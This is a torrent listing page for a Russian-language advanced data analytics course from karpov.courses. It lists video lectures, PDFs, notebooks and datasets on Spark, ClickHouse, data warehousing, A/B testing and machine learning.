Продвинутая аналитика данных (Часть 1-6 из 6)

mp4   Hot：82   Size：15.02 GB   Created：2024-03-21 19:39:55   Update：2024-11-17 21:06:21  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • Продвинутая аналитика данных [2023] часть 2/2 часть/6.docx 0 B
    part 4/курс/курс/модули/9 блок исправлено/12 Воркшоп с Дмитрием Казаковым HardDA-1.mp4 368.42 MB
    part 3/курс/модули/4 модуль/1. Аналитические хранилища данных. Степ 3.pdf 3.59 MB
    part 3/курс/модули/4 модуль/1. Аналитические хранилища данных. Степ 4.pdf 856.46 KB
    part 3/курс/модули/4 модуль/1. Архитектура современной платформы данных.pdf 5.16 MB
    part 3/курс/модули/4 модуль/1.1 Понятие хранилища данных.mp4 39.13 MB
    part 3/курс/модули/4 модуль/1.2 Архитектура хранилища данных.mp4 95.64 MB
    part 3/курс/модули/4 модуль/1.3 Процессы вокруг хранилища данных.mp4 22.28 MB
    part 3/курс/модули/4 модуль/1.4 Инструменты для построения платформы данных.mp4 29.7 MB
    part 3/курс/модули/4 модуль/2. S3.pdf 10.06 MB
    part 3/курс/модули/4 модуль/2. S3_Как устроен инструмент и для каких задач подходит.pdf 1.67 MB
    part 3/курс/модули/4 модуль/2.1 Что такое S3, примеры использования и понятия.mp4 56.39 MB
    part 3/курс/модули/4 модуль/2.2 Понятия, необходимые для работы с S3 и Библиотека Boto3.mp4 69.53 MB
    part 3/курс/модули/4 модуль/2.docx 12.16 KB
    part 3/курс/модули/4 модуль/3 Spark устройство, архитектура.pdf 14.26 MB
    part 3/курс/модули/4 модуль/3 Spark. Устройство, Архитектура, Контекст применения, основные термины.pdf 3.39 MB
    part 3/курс/модули/4 модуль/3 Spark. Что такое Spark и его основные концепции.mp4 82.08 MB
    part 3/курс/модули/4 модуль/3.2 Spark. RDD, Dataframe, Dataset, Narrow и Wide Transformations.mp4 81.77 MB
    part 3/курс/модули/4 модуль/3.docx 12.23 KB
    part 3/курс/модули/4 модуль/4 Инструкция к практике по Spark.mp4 18.22 MB
    part 3/курс/модули/4 модуль/5 Оптимизация запросов Spark.pdf 9.15 MB
    part 3/курс/модули/4 модуль/5 Оптимизация запросов в Spark.pdf 1.67 MB
    part 3/курс/модули/4 модуль/5.1 Оптимизация запросов в Spark. Устройство, архитектура, контекст применения, знакомство со Spark UI.mp4 52.68 MB
    part 3/курс/модули/4 модуль/5.2 Оптимизация запросов в Spark. Партиции и способы решения skew.mp4 79.57 MB
    part 3/курс/модули/4 модуль/5.3 Оптимизация запросов в Spark. Кэширование, пользовательские функции, фильтрация.mp4 52.77 MB
    part 3/курс/модули/4 модуль/5.docx 229.93 KB
    part 3/курс/модули/4 модуль/6 Как устроен ClickHouse и для каких задач он подходит.pdf 3.88 MB
    part 3/курс/модули/4 модуль/6 Степ 1. Clickhouse.pdf 1.06 MB
    part 3/курс/модули/4 модуль/6 Степ 2. Clickhouse.pdf 7.04 MB
    part 3/курс/модули/4 модуль/6 Степ 3. Clickhouse.pdf 856.55 KB
    part 3/курс/модули/4 модуль/6 Степ 4. Clickhouse.pdf 287.06 KB
    part 3/курс/модули/4 модуль/6.1 ClickHouse. Профиль использования.mp4 32.62 MB
    part 3/курс/модули/4 модуль/6.2 ClickHouse. Основные понятия СУБД.mp4 45.39 MB
    part 3/курс/модули/4 модуль/6.3 ClickHouse. Движки.mp4 45.3 MB
    part 3/курс/модули/4 модуль/6.4 ClickHouse. Специфичные функции.mp4 33.36 MB
    part 3/курс/модули/4 модуль/6.docx 12.16 KB
    part 3/курс/модули/4 модуль/7 Оптимизация запросов в ClickHouse.mp4 67.29 MB
    part 3/курс/модули/4 модуль/7. Простые и сложные запросы в ClickHouse, оптимизация запросов к ClickHouse.pdf 1.93 MB
    part 3/курс/модули/4 модуль/7. Степ 1. Оптимизация запросов в Clickhouse.pdf 1.52 MB
    part 3/курс/модули/4 модуль/7. Степ 2. Оптимизация запросов в Clickhouse.pdf 2.21 MB
    part 3/курс/модули/4 модуль/7.2 Типичные ошибки использования ClickHouse.mp4 53.07 MB
    part 3/курс/модули/4 модуль/7.docx 12.17 KB
    part 3/курс/модули/5 модуль/1. Логическая архитектура DWH.pdf 3.18 MB
    part 3/курс/модули/5 модуль/1. Степ 1. Логическая архитектура DWH.pdf 10.72 MB
    part 3/курс/модули/5 модуль/1. Степ 2. Многомерное моделирование.pdf 15.17 MB
    part 3/курс/модули/5 модуль/2. Варианты проектирования DWH Степ 1.Data Vault.pdf 8.91 MB
    part 3/курс/модули/5 модуль/2. Варианты проектирования DWH Степ 2.Anchor Modeling.pdf 12.64 MB
    part 3/курс/модули/5 модуль/2. Варианты проектирования DWH Степ 3. USS и Activity schema.pdf 8.81 MB
    part 3/курс/модули/5 модуль/2. Варианты строительства DWH.pdf 3.06 MB
    part 3/курс/модули/5 модуль/3 Организация работы DWH. Data Mesh.mp4 100.04 MB
    part 3/курс/модули/5 модуль/3. Организация работы DWH. Data Mesh.pdf 31.53 MB
    part 3/курс/модули/5 модуль/3. Организация работы DWH.pdf 6.43 MB
    part 3/курс/модули/5 модуль/4 Процессы вокруг данных по DAMA DMBOK.pdf 15.47 MB
    part 3/курс/модули/5 модуль/4. Процессы вокруг данных по DAMA DMBOK.pdf 1.16 MB
    part 3/курс/модули/6 модуль/6.docx 56.64 KB
    part 3/курс/практика/00_S3.ipynb 10.18 KB
    part 3/курс/практика/01_create_df_list.ipynb 5.69 KB
    part 3/курс/практика/02_create_df_Row_Schema.ipynb 15.07 KB
    part 3/курс/практика/03_Array_Type.ipynb 7.12 KB
    part 3/курс/практика/04_Map_Type.ipynb 7.7 KB
    part 3/курс/практика/05_Struct_Type.ipynb 6.55 KB
    part 3/курс/практика/06_select.ipynb 9.32 KB
    part 3/курс/практика/07_withColumn.ipynb 9.21 KB
    part 3/курс/практика/08_function_example.ipynb 4.56 KB
    part 3/курс/практика/09_lit_col.ipynb 7.76 KB
    part 3/курс/практика/10_strings_func.ipynb 8.15 KB
    part 3/курс/практика/11_datetime.ipynb 9.13 KB
    part 3/курс/практика/12_datetime_2.ipynb 7.94 KB
    part 3/курс/практика/13_coalesce.ipynb 5.42 KB
    part 3/курс/практика/14_when_case.ipynb 7.84 KB
    part 3/курс/практика/15_where_filter.ipynb 13.31 KB
    part 3/курс/практика/16_drop_cols.ipynb 7.78 KB
    part 3/курс/практика/17_drop_rows.ipynb 10.73 KB
    part 3/курс/практика/18_sorting.ipynb 9.04 KB
    part 3/курс/практика/19_sort_2.ipynb 9.71 KB
    part 3/курс/практика/20_aggregations.ipynb 11.96 KB
    part 3/курс/практика/21_joins.ipynb 14.6 KB
    part 3/курс/практика/22_joins_2.ipynb 13.93 KB
    part 3/курс/практика/23_read_write.ipynb 25.12 KB
    part 3/курс/практика/24_udf.ipynb 11.64 KB
    part 3/курс/практика/25_caching.ipynb 7.6 KB
    part 3/курс/практика/order_items.csv 5.16 MB
    part 3/курс/практика/orders.csv 2.86 MB
    part 4/курс/курс/модули/7/Вебинар -Как не опустить руки при поиске работы-.mp4 302.74 MB
    part 4/курс/курс/модули/8.2/2. Культура и принципы экспериментов в компании.pdf 66.94 MB
    part 4/курс/курс/модули/8.2/2.4 Data driven и experiment driven принципы.mp4 71.12 MB
    part 4/курс/курс/модули/8.2/3. Процесс развития продукта через эксперименты.pdf 19.48 MB
    part 4/курс/курс/модули/8.2/3.2 Double diamond.mp4 91.9 MB
    part 4/курс/курс/модули/8.2/3.3 Фреймворк оценки проблемы решения.mp4 63.63 MB
    part 4/курс/курс/модули/8.2/3.4 Разные способы проверки гипотез.mp4 94.75 MB
    part 4/курс/курс/модули/8.2/3.5 Правильные гипотезы.mp4 62.37 MB
    part 4/курс/курс/модули/8.2/3.6 Кумулятивные эффекты. Проблема Exploration Exploitation.mp4 36.37 MB
    part 4/курс/курс/модули/9 блок исправлено/1 Интро к блоку 'Продвинутый дизайн экспериментов'.mp4 13.28 MB
    part 4/курс/курс/модули/9 блок исправлено/2. Урок 1. Работа с метриками. Метрики бизнеса и метрики эксперимента.pdf 16.83 MB
    part 4/курс/курс/модули/9 блок исправлено/2. Урок 2. Работа с метриками Метрики бизнеса и метрики эксперимента.pdf 1.26 MB
    part 4/курс/курс/модули/9 блок исправлено/2.2 Классификация метрик. Целевые показатели.mp4 38.78 MB
    part 4/курс/курс/модули/9 блок исправлено/2.3 Классификация метрик. Метрики движущих сил и Ограничительные метрики.mp4 54.97 MB
    part 4/курс/курс/модули/9 блок исправлено/2.4 Работа с метриками в деталях.mp4 74.48 MB
    part 4/курс/курс/модули/9 блок исправлено/2.5 Важные практики при работе с метриками. Закон Гудхарта.mp4 50.58 MB
    part 4/курс/курс/модули/9 блок исправлено/2.docx 1.27 MB
    part 4/курс/курс/модули/9 блок исправлено/3 proxy_metrics_case_abtest.csv 614.63 KB
    part 4/курс/курс/модули/9 блок исправлено/3 proxy_metrics_case_data.csv 62 KB
    part 4/курс/курс/модули/9 блок исправлено/3 proxy_metrics_homework.csv 154.52 KB
    part 4/курс/курс/модули/9 блок исправлено/3 и 4. Работа с метриками.pdf 16.17 MB
    part 4/курс/курс/модули/9 блок исправлено/3. Proxy_metrics_case.ipynb 716.19 KB
    part 4/курс/курс/модули/9 блок исправлено/3. Работа с метриками Метрики бизнеса и метрики эксперимента.pdf 593.44 KB
    part 4/курс/курс/модули/9 блок исправлено/3.1 Метрики в эксперименте.mp4 106.23 MB
    part 4/курс/курс/модули/9 блок исправлено/3.2 Типы метрик.mp4 68.15 MB
    part 4/курс/курс/модули/9 блок исправлено/3.3 Proxy метрики. Практика в Python.mp4 131.18 MB
    part 4/курс/курс/модули/9 блок исправлено/3.docx 17.21 KB
    part 4/курс/курс/модули/9 блок исправлено/4. MDE, Power, effect size.ipynb 266.82 KB
    part 4/курс/курс/модули/9 блок исправлено/4. MDE, ошибки 1-го и 2-го рода в тесте, статистическая и практическая значимость эксперимента.pdf 48.05 MB
    part 4/курс/курс/модули/9 блок исправлено/4. MDE, ошибки 1-го и 2-го рода в тесте.pdf 757.4 KB
    part 4/курс/курс/модули/9 блок исправлено/4.1 Интро. Виды ошибок.mp4 42.02 MB
    part 4/курс/курс/модули/9 блок исправлено/4.2 Мощность теста.mp4 62.06 MB
    part 4/курс/курс/модули/9 блок исправлено/4.3 Мощность в Python Notebook.mp4 27.87 MB
    part 4/курс/курс/модули/9 блок исправлено/4.4 Размер эффекта и чувствительность теста MDE.mp4 30.84 MB
    part 4/курс/курс/модули/9 блок исправлено/4.5 MDE в Python Notebook.mp4 16.17 MB
    part 4/курс/курс/модули/9 блок исправлено/4.6 Выбор MDE.mp4 43.99 MB
    part 4/курс/курс/модули/9 блок исправлено/4.7 Анализ мощности.mp4 10.07 MB
    part 4/курс/курс/модули/9 блок исправлено/4.8 Анализ мощности в Python Notebook. Резюме.mp4 113.96 MB
    part 4/курс/курс/модули/9 блок исправлено/4.9 Бизнес аспекты работы.mp4 56.79 MB
    part 4/курс/курс/модули/9 блок исправлено/4.docx 1.01 MB
    part 4/курс/курс/модули/9 блок исправлено/5. Samples.ipynb 297.19 KB
    part 4/курс/курс/модули/9 блок исправлено/5. Формирование выборки.pdf 850.72 KB
    part 4/курс/курс/модули/9 блок исправлено/5. Формирование выборок.pdf 22.96 MB
    part 4/курс/курс/модули/9 блок исправлено/5.1 Интро. Типы выборок.mp4 48.56 MB
    part 4/курс/курс/модули/9 блок исправлено/5.2 Типы выборок. Практика в Python.mp4 122.89 MB
    part 4/курс/курс/модули/9 блок исправлено/5.3 Ошибки формирования выборок + SRM.mp4 74 MB
    part 4/курс/курс/модули/9 блок исправлено/5.4 Ошибки формирования выборок + SRM. Практика в Python.mp4 76.61 MB
    part 4/курс/курс/модули/9 блок исправлено/5.5 Репрезентативность.mp4 76.09 MB
    part 4/курс/курс/модули/9 блок исправлено/5.6 Репрезентативность. Практика в Python.mp4 40.03 MB
    part 4/курс/курс/модули/9 блок исправлено/5.docx 22.83 KB
    part 4/курс/курс/модули/9 блок исправлено/6 bootstrap_homework.csv 1.24 MB
    part 4/курс/курс/модули/9 блок исправлено/6. part 1. Stat criteries.ipynb 2.31 MB
    part 4/курс/курс/модули/9 блок исправлено/6. Статистические критерии.pdf 873.81 KB
    part 4/курс/курс/модули/9 блок исправлено/6.1 Статистические критерии.mp4 68.61 MB
    part 4/курс/курс/модули/9 блок исправлено/6.2 Статистические критерии. Практика в Python.mp4 336.34 MB
    part 4/курс/курс/модули/9 блок исправлено/6.docx 14.35 KB
    part 4/курс/курс/модули/9 блок исправлено/7 bootstrap_homework.csv 1.24 MB
    part 4/курс/курс/модули/9 блок исправлено/7. part 2. bootstrap.ipynb 1.43 MB
    part 4/курс/курс/модули/9 блок исправлено/7. Бутстрап.pdf 1.04 MB
    part 4/курс/курс/модули/9 блок исправлено/7. Оптимальные критерии. Бутстрап.pdf 20.84 MB
    part 4/курс/курс/модули/9 блок исправлено/7.1 Бутстрап.mp4 121.51 MB
    part 4/курс/курс/модули/9 блок исправлено/7.2 Бустрап. Практика в Python.mp4 321.7 MB
    part 4/курс/курс/модули/9 блок исправлено/7.3 Буnстрап. Резюме.mp4 14.09 MB
    part 4/курс/курс/модули/9 блок исправлено/7.docx 14 KB
    part 4/курс/курс/модули/9 блок исправлено/8. Multitesting.ipynb 160.65 KB
    part 4/курс/курс/модули/9 блок исправлено/8. Обход проблемы множественных сравнений.pdf 9.31 MB
    part 4/курс/курс/модули/9 блок исправлено/8.1 Причины возникновения проблемы множественных сравнений.mp4 28.94 MB
    part 4/курс/курс/модули/9 блок исправлено/8.2 Причины возникновения проблемы множественных сравнений. Практика в Python.mp4 33.97 MB
    part 4/курс/курс/модули/9 блок исправлено/8.3 Способы решения проблемы множественных сравнений.mp4 22.12 MB
    part 4/курс/курс/модули/9 блок исправлено/8.4 Способы решения проблемы множественных сравнений. Практика в Python.mp4 135.34 MB
    part 4/курс/курс/модули/9 блок исправлено/8.docx 14.5 KB
    part 4/курс/курс/модули/9 блок исправлено/9. External Validity.ipynb 276.97 KB
    part 4/курс/курс/модули/9 блок исправлено/9. Угрозы внешней достоверности результатов. Эффекты новизны и сопротивления новому..pdf 1.08 MB
    part 4/курс/курс/модули/9 блок исправлено/9. Эффекты новизны и сопротивления новому..pdf 15.48 MB
    part 4/курс/курс/модули/9 блок исправлено/9.1 Эффект новизны.mp4 197.87 MB
    part 4/курс/курс/модули/9 блок исправлено/9.2 Эффект новизны. Практика в Python.mp4 140.02 MB
    part 4/курс/курс/модули/9 блок исправлено/9.docx 12.25 KB
    part 4/курс/курс/модули/9 блок исправлено/10. Чек-листы запуска и контроля эксперимента.pdf 4.97 MB
    part 4/курс/курс/модули/9 блок исправлено/10. Чек-листы запуска и контроля эксперимента2.pdf 303.82 KB
    part 4/курс/курс/модули/9 блок исправлено/10.1 Чек-лист экспериментов.mp4 51.38 MB
    part 4/курс/курс/модули/9 блок исправлено/10.2 Чек-лист дизайна экспериментов.mp4 56.68 MB
    part 4/курс/курс/модули/9 блок исправлено/10.3 Чек-лист этапов после запуска эксперимента.mp4 63.68 MB
    part 4/курс/курс/модули/9 блок исправлено/10.docx 12.25 KB
    part 4/курс/курс/модули/9 блок исправлено/11 Презентация результатов.mp4 119.82 MB
    part 4/курс/курс/модули/9 блок исправлено/11. Презентация результатов эксперимента.pdf 12.79 MB
    part 4/курс/курс/модули/9 блок исправлено/11. Презентация_результатов_эксперимента_бизнесу.pdf 248.65 KB
    part 4/курс/курс/модули/9 блок исправлено/11.docx 12.17 KB
    part 3/курс/модули/4 модуль/1. Аналитические хранилища данных. Степ 2.pdf 14.86 MB
    part 4/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/1 Интро к блоку бизнес предпосылки эксперимента.mp4 45.75 MB
    part 4/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/2. Культура и принципы экспериментов в компанииf.pdf 10.21 MB
    part 4/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/2.1 Вводное слово. Место эксперимента в data driven компаниях.mp4 46.9 MB
    part 4/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/2.2 Evidence leader. Уровни доказательной силы.mp4 22.42 MB
    part 4/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/2.3 Ключевые ингредиенты хорошей экспериментальной кухни.mp4 53.51 MB
    part 4/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/2.5 Эволюция экспериментов в компании.mp4 26.23 MB
    part 4/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/2.docx 1.65 MB
    part 4/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/3. Процесс развития продукта через экспериментыj.pdf 12.69 MB
    part 4/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/3.1 Интро. Как выстроить правильные процессы.mp4 30.29 MB
    part 4/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/Продвинутая аналитика данных [2023] [karpov.courses] [Часть 4] [Н. Багиян,/3.docx 1.59 MB
    part 5/5/5.1 Causal inference и Causal Discovery.mp4 86.37 MB
    part 5/5/5.2 Difference in difference.mp4 71.39 MB
    part 5/5/5.3 Diff in Diff. Практика в Python.mp4 139.04 MB
    part 5/5/5.4 Diff in Diff. Практика в Python. Работа с грязными данными.mp4 280.69 MB
    part 5/5/5.5 Diff in Diff. Резюме.mp4 19.14 MB
    part 5/5/hdidayan/10/1 Интро к блоку -Продвинутые методики анализа результатов экспериментов-.mp4 16.89 MB
    part 5/5/hdidayan/10/2 stratification_homework_2.csv 167.64 KB
    part 5/5/hdidayan/10/2. Stratification.ipynb 437.9 KB
    part 5/5/hdidayan/10/2. Стратификация. Обход проблемы нечувствительных тест.pdf 1.26 MB
    part 5/5/hdidayan/10/2. Стратификация. Обход проблемы нечувствительных тестов.pdf 3.95 MB
    part 5/5/hdidayan/10/2.1 Дисперсия данных. Работа с выбросами данных.mp4 67.03 MB
    part 5/5/hdidayan/10/2.2 Работа с выбросами. Практика в Python.mp4 33.42 MB
    part 5/5/hdidayan/10/2.3 Стратификация.mp4 22.45 MB
    part 5/5/hdidayan/10/2.4 Стратификация. Практика в Python.mp4 96.39 MB
    part 5/5/hdidayan/10/2.5 Варианты работы со стратификацией. Практика в Python.mp4 56.02 MB
    part 5/5/hdidayan/10/2.6 Тесты со стратификацией. Практика в Python.mp4 166.37 MB
    part 5/5/hdidayan/10/2.docx 14.66 KB
    part 5/5/hdidayan/10/3 cuped_homework.csv 62.46 KB
    part 5/5/hdidayan/10/3. CUPED.ipynb 905.39 KB
    part 5/5/hdidayan/10/3. Cuped.pdf 3.39 MB
    part 5/5/hdidayan/10/3.1 CUPED.mp4 51.59 MB
    part 5/5/hdidayan/10/3.2 CUPED. Практика в Python.mp4 44.74 MB
    part 5/5/hdidayan/10/3.3 CUPED t-test.mp4 28.36 MB
    part 5/5/hdidayan/10/3.4 CUPED t-test практика в Python.mp4 87.94 MB
    part 5/5/hdidayan/10/3.5 Пустые значения и размер выборки для CUPED.mp4 34.89 MB
    part 5/5/hdidayan/10/3.6 Пустые значения и размер выборки для CUPED. Практика в Python.mp4 114.3 MB
    part 5/5/hdidayan/10/3.CUPED.pdf 4.48 MB
    part 5/5/hdidayan/10/3.docx 15.66 KB
    part 5/5/hdidayan/10/4 SPRT.ipynb 700.06 KB
    part 5/5/hdidayan/10/4 SPRT_homework_1.csv 103.82 KB
    part 5/5/hdidayan/10/4. SPRT Обход проблемы подглядывания и ускорения тест.pdf 1.41 MB
    part 5/5/hdidayan/10/4. SPRT.pdf 8.17 MB
    part 5/5/hdidayan/10/4.1 SPRT. Проблема подглядывания.mp4 48.82 MB
    part 5/5/hdidayan/10/4.2 SPRT. Варианты решения.mp4 67.11 MB
    part 5/5/hdidayan/10/4.3 SPRT. Практика в Python.mp4 91.68 MB
    part 5/5/hdidayan/10/4.4 Доработка SPRT. Нужный размер выборки.mp4 55.89 MB
    part 5/5/hdidayan/10/4.5 Практика в Python. Резюме.mp4 147.05 MB
    part 5/5/hdidayan/10/4.docx 13.91 KB
    part 5/5/hdidayan/10/5. Diff in Diff.ipynb 1.12 MB
    part 5/5/hdidayan/10/5. Diff in Diff.pdf 16.66 MB
    part 5/5/hdidayan/10/5. Методики Causal Inference Методика Diff in diff.pdf 1.84 MB
    part 5/5/hdidayan/10/5.1 Diff in Diff. Практика в Python.mp4 139.04 MB
    part 5/5/hdidayan/10/5.2 Diff in Diff. Резюме.mp4 19.28 MB
    part 5/5/hdidayan/10/6 ci_spares_data (1).csv 8.4 KB
    part 5/5/hdidayan/10/6. Causal Impact (1).ipynb 3.54 MB
    part 5/5/hdidayan/10/6. Causal Impact.pdf 5.2 MB
    part 5/5/hdidayan/10/6. Методика Causal impact.pdf 2.93 MB
    part 5/5/hdidayan/10/6.1 Causal Impact.mp4 62.89 MB
    part 5/5/hdidayan/10/6.2 Ковариаты. Использование Causal Impact.mp4 86.36 MB
    part 5/5/hdidayan/10/6.3 Causal Impact. Практика в Python.mp4 214.82 MB
    part 5/5/hdidayan/10/6.4 Ковариаты. Практика в Python.mp4 191.78 MB
    part 5/5/hdidayan/10/6.5 Использование Causal Impact. Плюсы, минусы. Резюме.mp4 39.27 MB
    part 5/5/hdidayan/10/6.docx 12.19 KB
    part 5/5/hdidayan/10/7 dataset_for_psm.csv 1.45 MB
    part 5/5/hdidayan/10/7. PSM.ipynb 1.18 MB
    part 5/5/hdidayan/10/7. PSM.pdf 3.93 MB
    part 5/5/hdidayan/10/7. Методика Propensity score matching (PSM).pdf 4.45 MB
    part 5/5/hdidayan/10/7.1 Matching.mp4 63.82 MB
    part 5/5/hdidayan/10/7.2 Propensity Score Matching (PSM).mp4 79.73 MB
    part 5/5/hdidayan/10/7.3 PSM. Практика в Python.mp4 267.7 MB
    part 5/5/hdidayan/10/7.4 Требования к методике. Плюсы, минусы. Резюме.mp4 33.18 MB
    part 5/5/hdidayan/10/7.docx 12.19 KB
    part 5/5/hdidayan/10/8.1 Stratification. Homework.ipynb 16.13 KB
    part 5/5/hdidayan/10/8.2. CUPED. Homework.ipynb 22.2 KB
    part 5/5/hdidayan/10/8.3. SPRT. Homework.ipynb 152.78 KB
    part 5/5/hdidayan/10/8.4 .Diff_in_Diff.Homework (2).ipynb 295.82 KB
    part 5/5/hdidayan/10/8.5. Causal Impact. homework (2).ipynb 846.32 KB
    part 5/5/hdidayan/10/8.6. PSM. Homework.ipynb 271.62 KB
    part 6/Бонус. Как учиться быстрее и эффективнее.pdf 1.59 MB
    part 6/Если вы еще не в Клубе.pdf 386.66 KB
    part 6/11/1 lecture_1 [skladchik.org].zip 4.16 MB
    part 6/11/1. Компоненты Машинного обучения [skladchik.org].pdf 3.57 MB
    part 6/11/1. Компоненты Машинного обучения. [skladchik.org].pdf 14.6 MB
    part 6/11/1.1 Что такое машинное обучение. Компоненты классической ML-задачи [skladchik.org].mp4 83.65 MB
    part 6/11/1.2 Градиентный спуск [skladchik.org].mp4 88.75 MB
    part 6/11/1.3 Линейные модели [skladchik.org].mp4 52.84 MB
    part 6/11/1.4 6Алгоритмы машинного обучения. Практика в Python [skladchik.org].mp4 157.78 MB
    part 6/11/1.4 Алгоритмы машинного обучения. Практика в Python [skladchik.org].mp4 278.18 MB
    part 6/11/1.5 Линейные модели. Практика в Python [skladchik.org].mp4 51.43 MB
    part 6/11/2 lecture_2 [skladchik.org].zip 5.07 MB
    part 6/11/2. Дизайн экспериментов с моделями МО [skladchik.org].pdf 5.51 MB
    part 6/11/2. Дизайн экспериментов с моделями МО r [skladchik.org].pdf 2.58 MB
    part 6/11/2.1 Эксперимент машинного обучения [skladchik.org].mp4 49.74 MB
    part 6/11/2.2 Валидация и обработка данных [skladchik.org].mp4 59.48 MB
    part 6/11/2.3 Валидация и обработка данных. Практика в Python [skladchik.org].mp4 66.37 MB
    part 6/11/2.4 Валидация и обработка данных. Практика в Python. Часть 2 [skladchik.org].mp4 235.85 MB
    part 6/11/2.5 Валидация и обработка данных. Практика в Python. Часть 3 [skladchik.org].mp4 203.72 MB
    part 6/11/2.6 Валидация и обработка данных. Практика в Python. Часть 4 [skladchik.org].mp4 63.73 MB
    part 6/11/2.7 Выбор модели [skladchik.org].mp4 29.95 MB
    part 6/11/2.8 Выбор модели. Практика в Python [skladchik.org].mp4 90.92 MB
    part 6/11/3 lecture_3 [skladchik.org].zip 2.35 MB
    part 6/11/3. Линейные модели МО [skladchik.org].pdf 9.64 MB
    part 6/11/3. Линейные модели МО для решения задач классификаци [skladchik.org].pdf 3.95 MB
    part 6/11/3.1 Введение [skladchik.org].mp4 20.24 MB
    part 6/11/3.2 Классификационные ML модели. Практика в Python [skladchik.org].mp4 117.02 MB
    part 6/11/3.3 Знакомство с общей концепцией в классификации [skladchik.org].mp4 30.89 MB
    part 6/11/3.4 Deep dive в logReg и SVM [skladchik.org].mp4 65.72 MB
    part 6/11/3.5 SVM, LogReg. Практика в Python [skladchik.org].mp4 33.13 MB
    part 6/11/3.6 Метрики [skladchik.org].mp4 64.59 MB
    part 6/11/3.7 Калибровка вероятностей [skladchik.org].mp4 18.7 MB
    part 6/11/3.8 Проведение эксперимента. Практика в Python [skladchik.org].mp4 175.72 MB
    part 6/11/3.9 Метрики. Практика в Python [skladchik.org].mp4 58.5 MB
    part 6/11/3.10 Множественная классификация [skladchik.org].mp4 30.15 MB
    part 6/11/4 Задания [skladchik.org].docx 146.86 KB
    part 6/11/5 lecture_4 [skladchik.org].zip 607.95 KB
    part 6/11/5. Метрические подходы МО для решения задач прогнозирования [skladchik.org].pdf 3.9 MB
    part 6/11/5. Метрические подходы МО для решения задач прогнозирования5 [skladchik.org].pdf 2.03 MB
    part 6/11/5.1 Метрические модели. KNN [skladchik.org].mp4 39.18 MB
    part 6/11/5.2 Гиперпараметры KNN [skladchik.org].mp4 29.99 MB
    part 6/11/5.3 Практика в Python. Спецификация задачи [skladchik.org].mp4 79.08 MB
    part 6/11/5.4 Практика в Python. Pipeline обработки данных. [skladchik.org].mp4 42.26 MB
    part 6/11/5.5 Практика в Python. Моделирование и эксперименты. [skladchik.org].mp4 101.48 MB
    part 6/11/6 Практика [skladchik.org].docx 143.62 KB
    part 6/11/7 Lecture_5 [skladchik.org].zip 2.83 MB
    part 6/11/7. Метрические подходы МО для решения задач кластеризации объектов [skladchik.org].pdf 3.52 MB
    part 6/11/7. Метрические подходы МО для решения задач кластеризации объектов [skladchik.org].pdf 2.77 MB
    part 6/11/7.1 Кластеризация. Алгоритм KMeans [skladchik.org].mp4 66.52 MB
    part 6/11/7.2 DBSCAN [skladchik.org].mp4 35.7 MB
    part 6/11/7.3 Кластеризация. Практика в Python [skladchik.org].mp4 197.72 MB
    part 6/11/7.4 Алгоритм KMeans и DBSCAN. Практика в Python [skladchik.org].mp4 130.53 MB
    part 6/11/8 [skladchik.org].docx 198.57 KB
    part 6/11/9 Lecture 6 [skladchik.org].zip 1.03 MB
    part 6/11/9 Эконометрический подход в решении задач прогнозирования временных рядов [skladchik.org].pdf 4.04 MB
    part 6/11/9. Эконометрический подход в решении задачи прогнозирования временных рядов [skladchik.org].pdf 2.45 MB
    part 6/11/9.1 Эконометрический подход в решении задачи прогнозирования временных рядов [skladchik.org].mp4 85.26 MB
    part 6/11/9.2 ARIMA, SARIMA, SARIMAX [skladchik.org].mp4 73.55 MB
    part 6/11/9.3 Авторегрессионные стратегии прогнозирования. Практика в Python. [skladchik.org].mp4 218.67 MB
    part 6/11/9.4 ARIMA, SARIMA, SARIMAX. Практика в Python [skladchik.org].mp4 140.99 MB
    part 6/11/10 [skladchik.org].docx 377.71 KB
    part 6/11/11 Lecture_7 [skladchik.org].zip 4.51 MB
    part 6/11/11. Решающие деревья композиции. Градиентный бустинг и случайный лес [skladchik.org].pdf 2.96 MB
    part 6/11/11.1 Решающие деревья [skladchik.org].mp4 136.53 MB
    part 6/11/11.2 Решающие деревья. Практика в Python [skladchik.org].mp4 120.06 MB
    part 6/11/11.3 Ансамбли моделей [skladchik.org].mp4 76.87 MB
    part 6/11/11.4 Алгоритмы Random Forest и Gradient boosting [skladchik.org].mp4 85.54 MB
    part 6/11/11.5 Random Forest и Gradient boosting. Практика в Python [skladchik.org].mp4 112.28 MB
    part 6/11/12 [skladchik.org].docx 167.98 KB
    part 6/12/1 Q&A сессия [skladchik.org].mp4 76.51 MB
    part 6/12/2 Q&A-сессия по модулю DWH [skladchik.org].mp4 41.6 MB
    part 6/12/3 Q&A по модулю “Продвинутые эксперименты” с Дмитрием Казаковым HardDA [skladchik.org].mp4 154.57 MB
    Продвинутая аналитика данных [2023] часть 1/1 Модуль Вводный вебинар -HardDA.mkv 103.38 MB
